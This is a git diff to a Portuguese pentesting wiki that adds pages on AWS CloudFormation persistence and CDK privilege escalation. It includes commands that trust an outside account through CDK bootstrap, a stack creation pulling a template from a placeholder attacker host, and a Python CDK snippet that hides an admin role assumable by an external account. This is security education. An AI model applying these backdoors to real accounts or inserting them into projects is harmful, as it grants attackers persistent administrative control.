diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5939f1183..a470914ae 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -211,6 +211,7 @@ - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md) - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md) - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md) + - [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md) - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md) - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md) - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md new file mode 100644 index 000000000..576f068fd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md @@ -0,0 +1,23 @@ +# AWS - Persistência do Cloudformation + +{{#include ../../../banners/hacktricks-training.md}} + +## CloudFormation + +Para mais informações, acesse: + +{{#ref}} +../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### Pilha de Inicialização do CDK + +O AWS CDK implanta uma pilha CFN chamada `CDKToolkit`. Esta pilha suporta um parâmetro `TrustedAccounts` que permite que contas externas implantem projetos CDK na conta da vítima. Um atacante pode abusar disso para conceder a si mesmo acesso indefinido à conta da vítima, seja usando o AWS cli para reimplantar a pilha com parâmetros, ou o AWS CDK cli. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 49a24e350..e4aa6ee8e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ --role-arn ``` -Na página seguinte, você tem um **exemplo de exploração** com a permissão adicional **`cloudformation:DescribeStacks`**: +Na página a seguir, você tem um **exemplo de exploração** com a permissão adicional **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -53,7 +53,7 @@ A permissão `cloudformation:SetStackPolicy` pode ser usada para **dar a si mesm Um atacante com permissões para **passar um papel e criar & executar um ChangeSet** pode **criar/atualizar uma nova pilha do cloudformation e abusar dos papéis de serviço do cloudformation** assim como com o CreateStack ou UpdateStack. -A seguinte exploração é uma **variação da**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha. +A seguinte exploração é uma **variação do**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -103,8 +103,53 @@ Um atacante poderia abusar dessa permissão sem a permissão passRole para atual **Impacto Potencial:** Privesc para os papéis de cloudformation anexados. +## AWS CDK + +O AWS cdk é um kit de ferramentas que permite aos usuários definir sua infraestrutura como código em linguagens com as quais já estão familiarizados, além de reutilizar facilmente seções. O CDK então converte o código de alto nível (ou seja, python) em templates de Cloudformation (yaml ou json). + +Para usar o CDK, um usuário administrativo deve primeiro inicializar a conta, o que cria vários papéis IAM, incluindo o *papel exec*, que tem permissões \*/\*. Esses papéis seguem a estrutura de nomenclatura `cdk----`. A inicialização deve ser feita uma vez por região por conta. + +Por padrão, os usuários do CDK não têm acesso para listar os papéis necessários para usar o CDK, o que significa que você precisará determiná-los manualmente. Se você comprometer a máquina de um desenvolvedor ou algum nó de CI/CD, esses papéis podem ser assumidos para conceder a si mesmo a capacidade de implantar templates CFN, usando o papel `cfn-exec` para permitir que o CFN implante quaisquer recursos, comprometendo totalmente a conta. + +### Determinando os nomes dos papéis + +Se você tiver `cloudformation:DescribeStacks`, os papéis estão definidos em uma pilha chamada `CDKToolkit`, e você pode extrair os nomes de lá. + +Se você estiver em uma máquina que foi usada para construir e implantar projetos CDK, pode extrair os nomes de `cdk.out/manafest.json` no diretório raiz dos projetos. + +Você também pode fazer uma boa suposição sobre quais são. `qualifier` é uma string adicionada aos papéis permitindo que várias instâncias da inicialização do CDK sejam implantadas ao mesmo tempo, no entanto, o valor padrão é codificado como `hnb659fds`. +``` +# Defaults +cdk-hnb659fds-cfn-exec-role-- +cdk-hnb659fds-deploy-role-- +cdk-hnb659fds-file-publishing-role-- +cdk-hnb659fds-image-publishing-role-- +cdk-hnb659fds-lookup-role-- +``` +### Adicionando código malicioso ao código-fonte do projeto + +Se você pode escrever no código-fonte do projeto, mas não pode implantá-lo você mesmo (por exemplo, o desenvolvedor implanta o código via CI/CD, não a máquina local), você ainda pode comprometer o ambiente adicionando recursos maliciosos à pilha. O seguinte adiciona um papel IAM que pode ser assumido por uma conta de atacante a um projeto python CDK. +```python +class CdkTestStack(Stack): +def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None: +super().__init__(scope, construct_id, **kwargs) + +# ---------- +# Some existing code..... +# ---------- + +role = iam.Role( +self, +"cdk-backup-role", # Role name, make it something subtle +assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role +managed_policies=[ +iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess +], +) +``` ## Referências - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 1c7b38535..10317192b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos da AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos da AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pela **provisionamento e configuração** dos recursos especificados. Essa automação facilita uma gestão mais eficiente e sem erros da infraestrutura da AWS. +AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos da AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos da AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pelo **provisionamento e configuração** dos recursos especificados. Essa automação facilita uma gestão mais eficiente e sem erros da infraestrutura da AWS. ### Enumeração ```bash @@ -37,9 +37,15 @@ Na página a seguir, você pode verificar como **abusar das permissões do cloud ../aws-privilege-escalation/aws-cloudformation-privesc/ {{#endref}} +### Persistence + +{{#ref}} +../aws-persistence/aws-cloudformation-persistence.md +{{#endref}} + ### Post-Exploitation -Verifique se há **segredos** ou informações sensíveis no **template, parâmetros e saída** de cada CloudFormation +Verifique por **segredos** ou informações sensíveis no **template, parâmetros e saída** de cada CloudFormation ## Codestar